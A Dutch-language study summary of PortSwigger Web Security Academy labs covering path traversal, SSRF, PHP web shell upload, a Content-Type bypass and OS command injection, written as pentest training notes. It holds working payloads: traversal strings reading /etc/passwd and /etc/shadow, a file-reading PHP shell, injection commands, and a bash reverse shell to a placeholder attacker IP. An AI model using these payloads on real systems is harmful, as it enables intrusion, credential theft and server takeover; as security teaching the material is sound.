Skip to content

Server Side Vulnerabilities

Bron: PortSwigger Web Security Academy Auteur: Johan Beysen | Fox & Fish Cybersecurity


1. Path Traversal

Wat is het?

Een webapplicatie laadt bestanden via een URL-parameter, bijv.: /loadImage?filename=218.png

De server plakt die bestandsnaam gewoon achter een basispad: /var/www/images/218.png — zonder te controleren wat er binnenkomt.

De Aanval

De aanvaller gebruikt ../ (directory traversal) om uit de bedoelde map te ontsnappen:

/loadImage?filename=../../../etc/passwd

De server leest dan effectief /etc/passwd — een systeembestand met gebruikersgegevens. Drie keer ../ stapt op vanuit /var/www/images/ helemaal naar de filesystem root /.

/loadImage?filename=../../../etc/passwd
/loadImage?filename=../../../etc/shadow
/loadImage?filename=..\..\..\windows\win.ini
/loadImage?filename=../../../windows/win.ini

Pentesting

Zoek parameters die bestandsnamen of paden bevatten: filename=, file=, path=, template=. Burp Suite detecteert dit automatisch in een actieve scan, maar manueel testen geeft meer inzicht in de exacte filtering.


2. Basic SSRF tegen de Lokale Server

Concept

De stock-check functie stuurt een HTTP-verzoek naar een URL die jij als aanvaller controleert via de stockApi parameter.

Aanpak

  1. /admin is niet rechtstreeks toegankelijk van buitenaf
  2. Maar de server zelf mag daar wel aan — localhost vertrouwt zichzelf
  3. Via Burp Repeater verander je de stockApi waarde naar http://localhost/admin
  4. De server haalt die pagina op en geeft de HTML terug — inclusief de delete-URL
  5. Zelfde parameter, nieuwe waarde: http://localhost/admin/delete?username=carlos → gebruiker verwijderd

Kernprincipe

De server doet het verzoek namens jou, vanuit zijn eigen netwerk. Wat extern geblokkeerd is, is intern vaak gewoon bereikbaar.


3. SSRF tegen een Intern Back-end Systeem

Opdracht

Use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.

Aanpak

  1. Onderschep het stock-check verzoek in Burp → stuur naar Intruder
  2. Stel de stockApi in op http://192.168.0.§1§:8080/admin — het laatste octet wordt de payload
  3. Payload type: Numbers, range 1–255, stap 1 → Intruder probeert alle 255 adressen
  4. Sorteer resultaten op statuscode → zoek de enige 200 response
  5. Dat IP heeft de admin interface → stuur naar Repeater
  6. Voeg /admin/delete?username=carlos toe → klaar

Vergelijking met Vorige Lab

Vorige lab Dit lab
Doel bekend localhost 192.168.0.X (onbekend)
Aanpak Rechtstreeks uitvoeren Eerst intern scannen via Intruder

SSRF als poortscan

SSRF kan je ook gebruiken als poortscan/IP-scan van binnenuit — de server scant zijn eigen netwerk voor jou, wat van buitenaf volledig onzichtbaar is.

Hoe Bepaal je de Poort?

Poort Typisch gebruik
80 HTTP standaard
443 HTTPS standaard
8080 Alternatieve HTTP / dev servers
8443 Alternatieve HTTPS
8888 Jupyter, admin panels
9200 Elasticsearch
6379 Redis
5432 PostgreSQL
3306 MySQL

3 manieren om de poort te bepalen:

  1. Informatie uit de applicatie zelf — foutmeldingen, JavaScript, HTML-comments
  2. Educated guesses op basis van veelgebruikte poorten (zie tabel)
  3. Poortscan via SSRF zelf — exact zoals je IPs scande: http://192.168.0.34:§8080§/

4. Remote Code Execution via Web Shell Upload

Concept

De applicatie laat je een profielfoto uploaden maar valideert het bestandstype niet. Je kan dus een PHP-bestand uploaden — en als de server dat bestand later opvraagt, voert hij de PHP-code uit.

Stap voor Stap

Stap 1 — Verken de uploadfunctie

  • Log in als wiener:peter, upload een echte afbeelding als avatar
  • Burp toont dat de afbeelding opgehaald wordt via GET /files/avatars/jouwafbeelding.png

Stap 2 — Maak je web shell

<?php echo file_get_contents('/home/carlos/secret'); ?>

Stap 3 — Upload de PHP als "avatar"

  • Geen validatie → server accepteert het bestand gewoon
  • Het staat nu op de server als /files/avatars/exploit.php

Stap 4 — Voer de code uit via Burp Repeater

GET /files/avatars/exploit.php HTTP/1.1

De server voert de PHP uit en geeft het geheime bestand terug in de response.

Waarom Werkt Dit?

Wat ontbreekt Gevolg
Geen MIME-type check PHP geaccepteerd als upload
Geen extensie whitelist .php toegestaan
Uploadmap is executable Server voert scripts uit

Kritieke bevinding

Arbitrary file upload + execution = volledige serverovername.

Testen bij Elke Uploadfunctie

  • Kan je een .php / .php5 / .phtml uploaden?
  • Staat de uploadmap onder een webroot die scripts uitvoert?
  • Wat retourneert de server als je het bestand direct opvraagt?

5. Web Shell Upload via Content-Type Bypass

Verschil met Vorige Lab

Het vorige lab had geen enkele validatie. Dit lab valideert wél — maar alleen de Content-Type header, niet het werkelijke bestandstype.

De Bypass

De server controleert of de upload image/jpeg of image/png is — maar vertrouwt blindelings op wat de client doorgeeft.

Wat de server deed Wat de server had moeten doen
Controleer Content-Type header Controleer werkelijke bestandsinhoud (magic bytes)
Vertrouw de client Nooit de client vertrouwen

Aanvalsflow

exploit.php aanmaken
     ↓
Uploaden → geblokkeerd
     ↓
Zelfde request in Repeater
Content-Type: image/jpeg  ← enige aanpassing
     ↓
Server accepteert het
     ↓
GET /files/avatars/exploit.php
     ↓
Server voert PHP uit → secret teruggegeven

Kernles

Client-side data nooit vertrouwen. Een aanvaller controleert elke header die de browser verstuurt. Echte validatie kijkt naar de bestandsinhoud zelf (magic bytes zoals FFD8FF voor JPEG), niet naar wat de client beweert.


6. OS Command Injection

Hoe het Werkt

De applicatie controleert voorraad door een shell-commando uit te voeren:

/usr/bin/stockcheck productID=1 storeID=1

De server neemt jouw input, plakt die in een commando-string, en voert dat uit — zonder enige validatie.

Het Pipe-Karakter |

# Wat de server denkt uit te voeren:
stockcheck storeID=1

# Wat er na jouw aanpassing echt uitgevoerd wordt:
stockcheck storeID=1 | whoami

Injection-Karakters

Karakter Werking
\| Pipe: voert tweede commando uit
&& AND: voert tweede uit als eerste slaagt
\|\| OR: voert tweede uit als eerste faalt
; Sequentieel: voert beide commando's uit
` Backtick: voert commando in-line uit
$() Subshell: zelfde als backtick

Wat Kan een Aanvaller Doen?

# Systeeminfo
1|uname -a

# Netwerkconfiguratie
1|ifconfig

# Bestanden lezen
1|cat /etc/passwd

# Kijken welke gebruikers bestaan
1|ls /home

# Gevoelige bestanden zoeken
1|find / -name "*.config" 2>/dev/null

# Reverse shell opzetten (volledige serverovername)
1|bash -i >& /dev/tcp/aanvaller-ip/4444 0>&1

Waarom is dit zo Kritisch?

SQL injection    → database gecompromitteerd
Command injection → volledige server gecompromitteerd

Zwaarste bevinding

Command injection is doorgaans de zwaarste bevinding in een pentest — het geeft directe toegang tot het onderliggende besturingssysteem, niet alleen de applicatielaag.

Relevantie voor Pentests

Zoek altijd naar parameters die er operationeel uitzien:

  • storeId, productId, host, ip, filename, cmd
  • Formulieren die pingen, tracerouten, DNS-lookups uitvoeren
  • Elke plek waar de app "iets doet" met jouw input op systeemniveau

Test eerst met |whoami of ; whoami — als de gebruikersnaam in de response verschijnt, is het raak.


Fox & Fish Cybersecurity | Intern gebruik